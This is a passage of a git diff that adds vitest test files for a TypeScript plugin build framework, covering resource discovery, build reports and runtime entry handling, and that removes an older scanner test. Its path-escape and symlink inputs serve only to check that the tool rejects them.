}, + ]) as unknown as readonly PublicResourceFile[]; + const runtime = Object.freeze({ + target: 'node20', + entries: Object.freeze([ + { id: 'cli', kind: 'executable', source: Object.freeze({ kind: 'source-file', path: 'src/runtime/cli.ts' }) }, + ]), + }) as unknown as NodeRuntimeResource; + + const project = assembleProjectGraph(canonical, publicFiles, runtime); + expect(project.publicFiles).toBe(publicFiles); + expect(project.runtime).toBe(runtime); + expect(project.commands).toBe(canonical.commands); + expect(Object.isFrozen(project)).toBe(true); + expect(JSON.stringify(project)).not.toContain('/Users/'); + expect('root' in project).toBe(false); + }); +}); diff --git a/packages/core/test/public-provider.test.ts b/packages/core/test/public-provider.test.ts new file mode 100644 index 0000000..5e58d5d --- /dev/null +++ b/packages/core/test/public-provider.test.ts @@ -0,0 +1,156 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { definePlatform } from '../src/kernel-contracts.js'; +import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { discoverPublicResources } from '../src/resources/public-provider.js'; + +/** Public Provider 测试根。 */ +const roots: string[] = []; + +/** @returns 最小 Platform。 */ +function platform() { + return definePlatform({ + id: 'target', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: () => undefined, + }), + }); +} + +/** + * 创建 Public Provider fixture。 + * + * @param publicValue 作者 public 配置。 + * @returns 当前 BuildSession 和发现函数。 + */ +async function fixture(publicValue: unknown = undefined) { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-public-provider-')); + roots.push(root); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {};\n'); + const resolved = resolveKernelConfig({ + name: 'public-fixture', version: '1.0.0', description: 'Public fixture.', platforms: [platform()], + ...(publicValue === undefined ? {} : { public: publicValue }), + }, { projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'build', mode: 'production' }); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + const watch = new WatchRegistry(scope, root); + const diagnostics = new DiagnosticRegistry(); + const discover = () => discoverPublicResources({ config: resolved.config!, sources, assets, watch, diagnostics }); + return { root, configDiagnostics: resolved.diagnostics, assets, watch, diagnostics, discover }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Public Provider', () => { + it('copies the default full tree as SourceAssets with stable package-relative paths', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.root, 'public', 'bin'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'public', 'bin', 'tool'), Uint8Array.of(0x00, 0xff)); + await fs.chmod(path.join(current.root, 'public', 'bin', 'tool'), 0o755); + + const resources = await current.discover(); + expect(current.configDiagnostics).toEqual([]); + expect(current.diagnostics.diagnostics).toEqual([]); + expect(resources.map(file => file.path)).toEqual(['bin/tool']); + expect(current.assets.describe('framework:public', resources[0]!.asset)).toMatchObject({ + mode: 0o755, + origin: { type: 'source', resource: 'framework:public', path: 'public/bin/tool' }, + }); + expect(current.watch.snapshot().identities).toContain('public'); + }); + + it('supports multiple project-root exact sources without scanning protected siblings', async () => { + const current = await fixture({ + dir: '.', + copy: [ + { from: 'schemas', to: 'schemas' }, + { from: 'rulepacks', to: 'runtime/rulepacks' }, + ], + }); + await fs.mkdir(path.join(current.root, 'schemas'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'rulepacks'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'node_modules'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'schemas', 'schema.json'), '{}\n'); + await fs.writeFile(path.join(current.root, 'rulepacks', 'default.json'), '{}\n'); + /** project root 中其他目录 symlink 不应污染精确 copy 来源。 */ + await fs.symlink(path.join(current.root, 'schemas'), path.join(current.root, 'node_modules', 'linked'), 'dir'); + + const resources = await current.discover(); + expect(current.configDiagnostics).toEqual([]); + expect(current.diagnostics.diagnostics).toEqual([]); + expect(resources.map(file => file.path)).toEqual(['runtime/rulepacks/default.json', 'schemas/schema.json']); + }); + + it('rejects target collisions, missing sources and source symlinks deterministically', async () => { + const current = await fixture({ + copy: [ + { from: 'a/file.txt', to: 'Shared/file.txt' }, + { from: 'b/file.txt', to: 'shared/file.txt' }, + { from: 'missing.txt', to: 'missing.txt' }, + { from: 'linked.txt', to: 'linked.txt' }, + ], + }); + await fs.mkdir(path.join(current.root, 'public', 'a'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'public', 'b'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'public', 'a', 'file.txt'), 'a'); + await fs.writeFile(path.join(current.root, 'public', 'b', 'file.txt'), 'b'); + await fs.symlink(path.join(current.root, 'public', 'a', 'file.txt'), path.join(current.root, 'public', 'linked.txt')); + + const resources = await current.discover(); + expect(resources.map(file => file.path)).toEqual(['Shared/file.txt']); + expect(current.diagnostics.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'PUBLIC_TARGET_COLLISION', 'PUBLIC_SOURCE_MISSING', 'PUBLIC_SOURCE_INVALID', + ])); + }); + + it('defensively rejects unsafe targets after config resolution', async () => { + const current = await fixture({ copy: [{ from: 'file.txt', to: 'safe/file.txt' }] }); + await fs.mkdir(path.join(current.root, 'public'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'public', 'file.txt'), 'public'); + const resolved = resolveKernelConfig({ + name: 'public-fixture', version: '1.0.0', description: 'Public fixture.', platforms: [platform()], + public: { copy: [{ from: 'file.txt', to: 'safe/file.txt' }] }, + }, { + projectRoot: current.root, + configFile: path.join(current.root, 'acplugin.config.ts'), + command: 'build', + mode: 'production', + }).config!; + const unsafe = { + ...resolved, + public: { ...resolved.public, copy: [{ ...resolved.public.copy![0]!, to: '../escape.txt' }] }, + }; + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, current.root); + const work = new WorkDirectoryRegistry(scope, path.join(current.root, '.unsafe-work')); + const assets = new AssetRegistry(scope, sources, work); + const watch = new WatchRegistry(scope, current.root); + const diagnostics = new DiagnosticRegistry(); + + expect(await discoverPublicResources({ config: unsafe, sources, assets, watch, diagnostics })).toEqual([]); + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'PUBLIC_TARGET_INVALID' })); + }); + + it('is silent for disabled or absent default Public roots', async () => { + const absent = await fixture(); + expect(await absent.discover()).toEqual([]); + expect(absent.diagnostics.diagnostics).toEqual([]); + const disabled = await fixture(false); + expect(await disabled.discover()).toEqual([]); + expect(disabled.diagnostics.diagnostics).toEqual([]); + }); +}); diff --git a/packages/core/test/report-v2.test.ts b/packages/core/test/report-v2.test.ts new file mode 100644 index 0000000..d931b9b --- /dev/null +++ b/packages/core/test/report-v2.test.ts @@ -0,0 +1,103 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { PackageUnitSnapshot } from '../src/kernel-types.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { createBuildReport, serializeBuildReport } from '../src/package/report-builder.js'; + +/** Report v2 测试临时根。 */ +const roots: string[] = []; + +/** @returns 带一个 structured-origin Asset 的 Package fixture。 */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-report-v2-')); + roots.push(root); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + const asset = await assets.service('platform:target').fromBytes({ + bytes: 'content\n', + mode: 0o755, + origin: { operation: 'generated-command', subjects: ['command:check'] }, + }); + const unit: PackageUnitSnapshot = Object.freeze({ + platform: 'target', id: 'plugin', type: 'plugin', role: 'primary', + assets: Object.freeze([{ path: 'bin/main.mjs', owner: 'platform:target', asset }]), + compatibility: Object.freeze([]), metadata: Object.freeze([]), + }); + return { root, assets, unit }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('BuildReport schema v2', () => { + it('sorts deterministically and includes structured Asset provenance without bytes', async () => { + const current = await fixture(); + const input = { + frameworkVersion: '1.0.0-beta.1', compilerVersion: '1.2.2', success: true, + command: 'inspect' as const, mode: 'production' as const, committed: false, + components: [ + { kind: 'skill' as const, id: 'z', location: { path: 'src/skills/z/SKILL.md' } }, + { kind: 'command' as const, id: 'a', location: { path: 'src/commands/a.md' } }, + ], + runtimes: [], extensions: [], + platforms: [{ id: 'target', selected: true, success: true, packageIds: ['plugin'] }], + packages: [current.unit], validatedPackages: ['target/plugin'], + compatibility: [], metadata: [], diagnostics: [], assets: current.assets, + }; + const first = serializeBuildReport(createBuildReport(input)); + const second = serializeBuildReport(createBuildReport({ ...input, components: [...input.components].reverse() })); + + expect(first).toBe(second); + expect(first.endsWith('\n')).toBe(true); + expect(JSON.parse(first)).toMatchObject({ + schemaVersion: 2, + packages: [{ validated: true, assets: [{ + path: 'bin/main.mjs', owner: 'platform:target', mode: 0o755, + origin: { type: 'generated', owner: 'platform:target', operation: 'generated-command', subjects: ['command:check'] }, + }] }], + }); + expect(first).not.toContain('content'); + expect(first).not.toContain(current.root); + expect(first).not.toContain('timestamp'); + }); + + it('rejects forged report data instead of serializing behavior or bytes', async () => { + const current = await fixture(); + const report = createBuildReport({ + frameworkVersion: '1.0.0-beta.1', compilerVersion: '1.2.2', success: true, + command: 'inspect', mode: 'production', committed: false, components: [], runtimes: [], extensions: [], platforms: [], + packages: [current.unit], compatibility: [], metadata: [], diagnostics: [], assets: current.assets, + }); + expect(() => serializeBuildReport({ ...report, unsafe: () => 'secret' } as never)).toThrow('JSON values'); + }); + + it('deep-copies and freezes nested report input before callers can mutate it', async () => { + const current = await fixture(); + const component = { kind: 'command' as const, id: 'check', location: { path: 'src/commands/check.md' } }; + const diagnostic = { + phase: 'package' as const, code: 'PACKAGE_NOTE', severity: 'warning' as const, + message: 'Stable.', related: [{ path: 'src/commands/check.md', line: 1 }], + }; + const report = createBuildReport({ + frameworkVersion: '1.0.0-beta.1', compilerVersion: '1.2.2', success: true, + command: 'inspect', mode: 'production', committed: false, + components: [component], runtimes: [], extensions: [], platforms: [], packages: [current.unit], + compatibility: [], metadata: [], diagnostics: [diagnostic], assets: current.assets, + }); + component.location.path = 'mutated'; + diagnostic.related[0]!.path = 'mutated'; + + expect(report.components[0]?.location.path).toBe('src/commands/check.md'); + expect(report.diagnostics[0]?.related?.[0]?.path).toBe('src/commands/check.md'); + expect(Object.isFrozen(report.components[0]?.location)).toBe(true); + expect(Object.isFrozen(report.diagnostics[0]?.related)).toBe(true); + }); +}); diff --git a/packages/core/test/resource-registry.test.ts b/packages/core/test/resource-registry.test.ts new file mode 100644 index 0000000..72bb878 --- /dev/null +++ b/packages/core/test/resource-registry.test.ts @@ -0,0 +1,127 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; +import { resolveKernelConfig, type ResolvedKernelConfig } from '../src/kernel/config-resolver.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { ResourceRegistry } from '../src/resources/resource-registry.js'; + +/** Resource Registry 测试临时根。 */ +const roots: string[] = []; + +/** @returns 最小 Platform。 */ +function platform() { + return definePlatform({ + id: 'target', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: () => undefined, + }), + }); +} + +/** @returns 声明 roots 的最小 Extension。 */ +function extension(id: string, resourceRoots: readonly string[]) { + return defineExtension({ + id, apiVersion: '1', resourceRoots, + createSession: () => ({ + discover: () => ({}), + validate: () => ({ state: {}, subjects: [] }), + build: () => ({ state: {} }), + contributors: [], + }), + }); +} + +/** + * 创建可 claim 的临时工程和 Registry。 + * + * @param input runtime 与 extensions 配置。 + * @returns 当前测试 BuildSession fixture。 + */ +async function fixture(input: { readonly runtime?: false; readonly extensions?: readonly ReturnType[] } = {}) { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-resource-registry-')); + roots.push(root); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {};\n'); + /** 配置先走最终 Kernel resolver。 */ + const resolved = resolveKernelConfig({ + name: 'resource-fixture', version: '1.0.0', description: 'Resource fixture.', platforms: [platform()], + ...(input.runtime === undefined ? {} : { runtime: input.runtime }), + ...(input.extensions === undefined ? {} : { extensions: input.extensions }), + }, { projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'build', mode: 'production' }); + expect(resolved.diagnostics).toEqual([]); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const watch = new WatchRegistry(scope, root); + const diagnostics = new DiagnosticRegistry(); + const registry = new ResourceRegistry({ config: resolved.config as ResolvedKernelConfig, sources, watch, diagnostics }); + return { root, sources, watch, diagnostics, registry }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('ResourceRegistry', () => { + it('claims canonical, Runtime and configured Extension roots generically', async () => { + const current = await fixture({ extensions: [extension('hooks', ['hooks']), extension('mcp', ['mcp'])] }); + await fs.mkdir(path.join(current.root, 'src', 'commands'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'runtime'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'hooks'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'mcp'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', 'hooks', 'hook.ts'), 'export {};\n'); + await fs.writeFile(path.join(current.root, 'src', 'mcp', 'mcp.ts'), 'export {};\n'); + + const claims = await current.registry.claim(); + expect(current.diagnostics.diagnostics).toEqual([]); + expect(claims.canonical.commands?.path).toBe('src/commands'); + expect(claims.runtime?.path).toBe('src/runtime'); + expect(claims.extensions.hooks?.hooks?.path).toBe('src/hooks'); + expect(claims.extensions.mcp?.mcp?.path).toBe('src/mcp'); + expect(Object.isFrozen(claims.extensions)).toBe(true); + expect(current.watch.snapshot().identities).toContain('src'); + }); + + it('rejects unknown non-empty roots and direct files while ignoring unknown empty directories', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.root, 'src', 'empty'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'src', 'unknown'), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', 'unknown', 'value.ts'), 'export {};\n'); + await fs.writeFile(path.join(current.root, 'src', 'loose.ts'), 'export {};\n'); + + await current.registry.claim(); + const unknown = current.diagnostics.diagnostics.filter(item => item.code === 'RESOURCE_ROOT_UNKNOWN'); + expect(unknown.map(item => item.location?.path)).toEqual(['src/loose.ts', 'src/unknown']); + }); + + it('uses the same unknown-root gate for disabled Runtime and unconfigured horizontal resources', async () => { + const current = await fixture({ runtime: false }); + for (const directory of ['runtime', 'hooks', 'mcp']) { + await fs.mkdir(path.join(current.root, 'src', directory), { recursive: true }); + await fs.writeFile(path.join(current.root, 'src', directory, 'entry.ts'), 'export {};\n'); + } + + await current.registry.claim(); + expect(current.diagnostics.diagnostics.filter(item => item.code === 'RESOURCE_ROOT_UNKNOWN').map(item => item.location?.path)).toEqual([ + 'src/hooks', 'src/mcp', 'src/runtime', + ]); + }); + + it('rejects duplicate Extension claims and unsafe author roots without product-name branches', async () => { + const current = await fixture({ extensions: [extension('first', ['shared']), extension('second', ['shared'])] }); + await fs.mkdir(path.join(current.root, 'src'), { recursive: true }); + await fs.mkdir(path.join(current.root, 'outside'), { recursive: true }); + await fs.symlink(path.join(current.root, 'outside'), path.join(current.root, 'src', 'shared'), 'dir'); + + await current.registry.claim(); + expect(current.diagnostics.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'RESOURCE_ROOT_CONFLICT' }), + expect.objectContaining({ code: 'SOURCE_ROOT_CONTENT_INVALID' }), + ])); + }); +}); diff --git a/packages/core/test/runtime-paths.test.ts b/packages/core/test/runtime-paths.test.ts new file mode 100644 index 0000000..5d77efb --- /dev/null +++ b/packages/core/test/runtime-paths.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, it } from 'vitest'; +import { + nodeRuntimeArtifactPath, + nodeRuntimeLicensesArtifactPath, +} from '../src/resources/runtime-paths.js'; + +describe('Node Runtime paths', () => { + it('returns fixed predictable Package paths for valid entry IDs', () => { + expect(nodeRuntimeArtifactPath('llmdoc')).toBe('runtime/llmdoc/main.mjs'); + expect(nodeRuntimeLicensesArtifactPath('local-tools')).toBe('runtime/local-tools/THIRD_PARTY_LICENSES.txt'); + }); + + it('rejects values that are not canonical Runtime entry IDs', () => { + for (const id of ['', 'Invalid', '../escape', 'nested/entry', 'cafe\u0301']) { + expect(() => nodeRuntimeArtifactPath(id)).toThrow('lowercase kebab-case'); + expect(() => nodeRuntimeLicensesArtifactPath(id)).toThrow('lowercase kebab-case'); + } + }); +}); diff --git a/packages/core/test/runtime-provider.test.ts b/packages/core/test/runtime-provider.test.ts new file mode 100644 index 0000000..fbef5ed --- /dev/null +++ b/packages/core/test/runtime-provider.test.ts @@ -0,0 +1,169 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { discoverNodeRuntime } from '../src/resources/runtime-provider.js'; + +/** Runtime Provider 测试根。 */ +const roots: string[] = []; + +/** + * 创建 Runtime root 和 Source Registry。 + * + * @returns 当前测试 fixture。 + */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-runtime-provider-')); + roots.push(root); + const runtime = path.join(root, 'src', 'runtime'); + await fs.mkdir(runtime, { recursive: true }); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const diagnostics = new DiagnosticRegistry(); + return { root, runtime, sources, diagnostics }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Runtime Provider', () => { + it('auto-discovers only direct executable TS/JS sources and keeps nested modules as dependencies', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.runtime, 'internal'), { recursive: true }); + await fs.writeFile(path.join(current.runtime, 'cli.ts'), 'export {};\n'); + await fs.writeFile(path.join(current.runtime, 'worker.mts'), 'export {};\n'); + await fs.writeFile(path.join(current.runtime, 'types.d.ts'), 'export interface Type {}\n'); + await fs.writeFile(path.join(current.runtime, 'internal', 'helper.ts'), 'export {};\n'); + const runtimeRoot = await current.sources.issueRoot('framework:node-runtime', current.runtime); + const resource = await discoverNodeRuntime({ + root: runtimeRoot, + config: { enabled: true, directory: current.runtime, target: 'node20' }, + sources: current.sources, + diagnostics: current.diagnostics, + }); + + expect(current.diagnostics.diagnostics).toEqual([]); + expect(resource?.entries.map(entry => [entry.id, entry.kind, entry.source.path])).toEqual([ + ['cli', 'executable', 'src/runtime/cli.ts'], + ['worker', 'executable', 'src/runtime/worker.mts'], + ]); + expect(JSON.stringify(resource)).not.toContain(current.root); + expect(Object.isFrozen(resource?.entries)).toBe(true); + }); + + it('uses explicit entries as a complete replacement and preserves compile options', async () => { + const current = await fixture(); + await fs.mkdir(path.join(current.runtime, 'bin'), { recursive: true }); + await fs.writeFile(path.join(current.runtime, 'ignored.ts'), 'export {};\n'); + await fs.writeFile(path.join(current.runtime, 'bin', 'cli.ts'), 'export {};\n'); + const runtimeRoot = await current.sources.issueRoot('framework:node-runtime', current.runtime); + const resource = await discoverNodeRuntime({ + root: runtimeRoot, + config: { + enabled: true, + directory: current.runtime, + target: 'node20', + entries: { tool: { entry: 'bin/cli.ts', kind: 'module' } }, + compile: { treeshake: false }, + }, + sources: current.sources, + diagnostics: current.diagnostics, + }); + + expect(current.diagnostics.diagnostics).toEqual([]); + expect(resource).toMatchObject({ target: 'node20', compile: { treeshake: false } }); + expect(resource?.entries.map(entry => [entry.id, entry.kind, entry.source.path])).toEqual([ + ['tool', 'module', 'src/runtime/bin/cli.ts'], + ]); + }); + + it('reports unsupported, duplicate and missing entries without fake Runtime output', async () => { + const current = await fixture(); + await fs.writeFile(path.join(current.runtime, 'cli.ts'), 'export {};\n'); + await fs.writeFile(path.join(current.runtime, 'cli.js'), 'export {};\n'); + await fs.writeFile(path.join(current.runtime, 'README.md'), 'not runtime\n'); + const runtimeRoot = await current.sources.issueRoot('framework:node-runtime', current.runtime); + const automatic = await discoverNodeRuntime({ + root: runtimeRoot, + config: { enabled: true, directory: current.runtime, target: 'node20' }, + sources: current.sources, + diagnostics: current.diagnostics, + }); + expect(automatic?.entries).toHaveLength(1); + expect(current.diagnostics.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'RUNTIME_ENTRY_CONFLICT', 'RUNTIME_SOURCE_UNSUPPORTED', + ])); + + const explicitDiagnostics = new DiagnosticRegistry(); + const explicit = await discoverNodeRuntime({ + root: runtimeRoot, + config: { + enabled: true, + directory: current.runtime, + target: 'node20', + entries: { + missing: { entry: 'missing.ts', kind: 'executable' }, + declarations: { entry: 'types.d.ts', kind: 'module' }, + }, + }, + sources: current.sources, + diagnostics: explicitDiagnostics, + }); + expect(explicit).toBeUndefined(); + expect(explicitDiagnostics.diagnostics.map(item => item.code)).toEqual(['RUNTIME_ENTRY_MISSING', 'RUNTIME_SOURCE_UNSUPPORTED']); + }); + + it('defensively rejects invalid IDs, escaped paths and symlink sources', async () => { + const current = await fixture(); + await fs.writeFile(path.join(current.runtime, 'valid.ts'), 'export {};\n'); + await fs.writeFile(path.join(current.root, 'outside.ts'), 'export {};\n'); + await fs.symlink(path.join(current.root, 'outside.ts'), path.join(current.runtime, 'linked.ts')); + const runtimeRoot = await current.sources.issueRoot('framework:node-runtime', current.runtime); + const resource = await discoverNodeRuntime({ + root: runtimeRoot, + config: { + enabled: true, + directory: current.runtime, + target: 'node20', + entries: { + Valid: { entry: 'valid.ts', kind: 'module' }, + cafe\u0301: { entry: 'valid.ts', kind: 'module' }, + escaped: { entry: '../outside.ts', kind: 'module' }, + linked: { entry: 'linked.ts', kind: 'module' }, + }, + }, + sources: current.sources, + diagnostics: current.diagnostics, + }); + + expect(resource).toBeUndefined(); + expect(current.diagnostics.diagnostics.map(item => item.code)).toEqual([ + 'RUNTIME_ENTRY_MISSING', + 'RUNTIME_ENTRY_MISSING', + 'RUNTIME_ENTRY_ID_INVALID', + 'RUNTIME_ENTRY_ID_INVALID', + ]); + expect(JSON.stringify(current.diagnostics.diagnostics)).not.toContain(current.root); + }); + + it('is silent for absent, empty and explicitly unselected Runtime roots', async () => { + const current = await fixture(); + expect(await discoverNodeRuntime({ + config: { enabled: true, directory: current.runtime, target: 'node20' }, + sources: current.sources, + diagnostics: current.diagnostics, + })).toBeUndefined(); + const runtimeRoot = await current.sources.issueRoot('framework:node-runtime', current.runtime); + expect(await discoverNodeRuntime({ + root: runtimeRoot, + config: { enabled: true, directory: current.runtime, target: 'node20', entries: {} }, + sources: current.sources, + diagnostics: current.diagnostics, + })).toBeUndefined(); + expect(current.diagnostics.diagnostics).toEqual([]); + }); +}); diff --git a/packages/core/test/scanner.test.ts b/packages/core/test/scanner.test.ts deleted file mode 100644 index d7e5d59..0000000 --- a/packages/core/test/scanner.test.ts +++ /dev/null @@ -1,398 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { - defineExtension, - definePlatform, - DiagnosticCollector, - resolveConfig, - scanProject, - type AcpluginPlatform, - type PlatformComponentValidationContext, - type UserConfig, -} from '../src/index.js'; - -/** 每个 Scanner 测试创建并在 afterEach 中删除的临时工程。 */ -const temporaryDirectories: string[] = []; - -/** - * 创建带可选 Component 字段校验器的最小测试 Platform。 - * - * @param id 开放的测试 Platform ID。 - * @param validateComponentFields 可选的 Platform 专属字段校验器。 - * @returns 带 Core 私有品牌的最小 Platform。 - */ -function testPlatform( - id: string, - validateComponentFields?: (context: PlatformComponentValidationContext) => void, -): AcpluginPlatform { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - ...(validateComponentFields === undefined ? {} : { validateComponentFields }), - /** Scanner 测试不会执行 Platform Draft 阶段。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** Scanner 测试不会执行 Platform 产物生成。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** Scanner 测试不会物化候选目录。 */ - validateBundle: () => undefined, - }); -} - -/** Core Scanner 测试使用的两个显式 Platform。 */ -const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; - -/** - * 创建并登记一个 Scanner 临时工程。 - * - * @returns 临时工程绝对路径。 - */ -async function temporaryProject(): Promise { - /** 当前测试独占的临时目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-scanner-test-')); - temporaryDirectories.push(root); - return root; -} - -/** - * 解析 Scanner 测试使用的最终配置。 - * - * @param root 临时工程根目录。 - * @param input 需要覆盖默认元数据的用户配置。 - * @param platforms 测试配置显式声明的 Platform。 - * @returns 无配置错误的最终 ResolvedConfig。 - */ -function projectConfig( - root: string, - input: Partial = {}, - platforms: readonly AcpluginPlatform[] = defaultPlatforms, -): NonNullable['config']> { - /** 测试工程的完整用户配置。 */ - const value: UserConfig = { - name: 'scanner-fixture', - version: '1.0.0', - description: 'Scanner fixture.', - platforms, - ...input, - }; - /** Core 配置解析结果。 */ - const resolved = resolveConfig(value, path.join(root, 'acplugin.config.ts'), 'validate', 'production'); - expect(resolved.diagnostics).toEqual([]); - return resolved.config!; -} - -afterEach(async () => { - await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); -}); - -describe('canonical Scanner', () => { - it('creates a stable platform-neutral project and preserves binary file sources and modes', async () => { - /** Platform Validator 实际收到的不可变 Component 字段。 */ - const validated: unknown[] = []; - /** 对 model 字段执行最小 Schema 校验的 Codex Platform。 */ - const codex = testPlatform('codex', (context) => { - validated.push({ component: context.component, fields: context.fields }); - if (context.fields.model !== 'fast') { - context.reportDiagnostic({ - code: 'CODEX_COMPONENT_MODEL_INVALID', - severity: 'error', - message: 'model must be fast.', - fieldPath: ['platforms', 'codex', 'model'], - }); - } - }); - /** 当前测试的完整规范工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); - await fs.mkdir(path.join(root, 'public/bin'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/check.md'), `--- -description: Check a release. -argumentHint: -requires: - skills: [review] -platforms: - codex: - model: fast ---- -Check {{arguments}}. -`); - await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- -description: Review a release. -requires: - agents: [reviewer] ---- -Review the release. -`); - /** Skill auxiliary 使用包含无效 UTF-8 的二进制内容验证 Scanner 不会文本化。 */ - const auxiliaryBytes = new Uint8Array([0xff, 0x00, 0x7f]); - await fs.writeFile(path.join(root, 'src/skills/review/references/data.bin'), auxiliaryBytes); - await fs.chmod(path.join(root, 'src/skills/review/references/data.bin'), 0o755); - await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- -description: Review implementation correctness. -model: capable -capabilities: [filesystem:read, search] ---- -Return evidence-backed findings. -`); - /** Public 文件同样保留原始字节和可执行 mode。 */ - const publicBytes = new Uint8Array([0x00, 0xff, 0x01]); - await fs.writeFile(path.join(root, 'public/bin/tool'), publicBytes); - await fs.chmod(path.join(root, 'public/bin/tool'), 0o755); - - /** Scanner 生成的平台中立工程和诊断。 */ - const diagnostics = new DiagnosticCollector(); - /** 完整扫描后得到的规范 PluginProject。 */ - const { project } = await scanProject(projectConfig(root, { platforms: [testPlatform('claude-code'), codex] }), diagnostics); - - expect(diagnostics.diagnostics).toEqual([]); - expect({ - metadata: project.metadata, - commands: project.commands.map(command => ({ - id: command.id, - requires: command.requires, - platforms: command.platforms, - })), - skills: project.skills.map(skill => ({ - id: skill.id, - invocation: skill.invocation, - auxiliary: skill.auxiliaryFiles.map(file => ({ path: file.path, mode: file.mode })), - })), - agents: project.agents.map(agent => ({ id: agent.id, model: agent.model, capabilities: agent.capabilities })), - publicFiles: project.publicFiles.map(file => ({ targetPath: file.targetPath, mode: file.mode })), - }).toEqual({ - metadata: { name: 'scanner-fixture', version: '1.0.0', description: 'Scanner fixture.' }, - commands: [{ id: 'check', requires: { skills: 